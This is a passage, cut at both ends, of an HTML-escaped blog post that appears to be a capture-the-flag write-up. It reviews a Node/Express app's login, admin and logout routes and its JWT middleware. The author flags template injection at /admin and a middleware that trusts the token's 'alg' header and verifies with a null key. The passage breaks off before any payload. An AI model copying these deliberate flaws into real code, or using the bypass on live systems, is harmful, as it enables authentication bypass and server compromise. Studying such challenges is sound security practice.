&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">username&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="nx">password&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Username and password are required&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">user&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Users&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">findOne&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">where&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">username&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">username&lt;/span> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">user&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Invalid username or password&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">validPassword&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">bcrypt&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">compareSync&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">password&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">password&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">validPassword&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Invalid username or password&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">token&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">jwt&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">sign&lt;/span>&lt;span class="p">({&lt;/span> &lt;span class="nx">id&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">id&lt;/span> &lt;span class="p">},&lt;/span> &lt;span class="nx">tokenKey&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">expiresIn&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;1h&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">cookie&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;session&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">token&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">200&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Logged in successfully&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">catch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">500&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">error&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;Something went wrong!&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">........&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/admin&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">AdminMiddleware&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">users&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Users&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">findAll&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">usernames&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">users&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">map&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="nx">user&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">username&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">render&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">users&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">jsrender&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">templates&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sb">`&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">usernames&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">`&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">render&lt;/span>&lt;span class="p">(),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">catch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">500&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Something went wrong!&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/logout&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">clearCookie&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;session&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">router&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, so it has some basic authentication funtions like &lt;code>register&lt;/code>, &lt;code>login&lt;/code> and &lt;code>logout&lt;/code>; in addition to that we also has 2 authorization middlewares &lt;code>AdminMiddleware&lt;/code> and &lt;code>AuthMiddleware&lt;/code>. And they all use &lt;a href="https://jwt.io/" target="_blank" rel="noopener">&lt;code>Json Web Token (JWT)&lt;/code>&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/admin&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">AdminMiddleware&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">users&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Users&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">findAll&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">usernames&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">users&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">map&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="nx">user&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">username&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// This pepega jsrender things
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">render&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">users&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">jsrender&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">templates&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sb">`&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">usernames&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">`&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">render&lt;/span>&lt;span class="p">(),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">catch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">500&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Something went wrong!&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/logout&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">clearCookie&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;session&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">return&lt;/span> &lt;span class="nx">router&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>What really stands out of them all is at the &lt;code>/admin&lt;/code> endpoint which allows us to inject something in the template. But first, we need to bypass the &lt;code>AuthMiddleware&lt;/code>. Looking what it does, we find something really interesting.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">AdminMiddleware&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">next&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">sessionCookie&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">cookies&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">session&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">sessionCookie&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/login&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">decoded&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">jwt&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">sessionCookie&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">complete&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="kc">true&lt;/span> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">decoded&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">alg&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;none&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/login&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">decoded&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">alg&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;HS256&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">user&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">jwt&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">verify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">sessionCookie&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">tokenKey&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">algorithms&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nx">decoded&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">alg&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">!&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kr">await&lt;/span> &lt;span class="nx">db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Users&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">findOne&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">where&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">id&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">id&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">username&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">403&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;You are not an admin&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">user&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">jwt&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">verify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">sessionCookie&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">null&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">algorithms&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nx">decoded&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">alg&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>
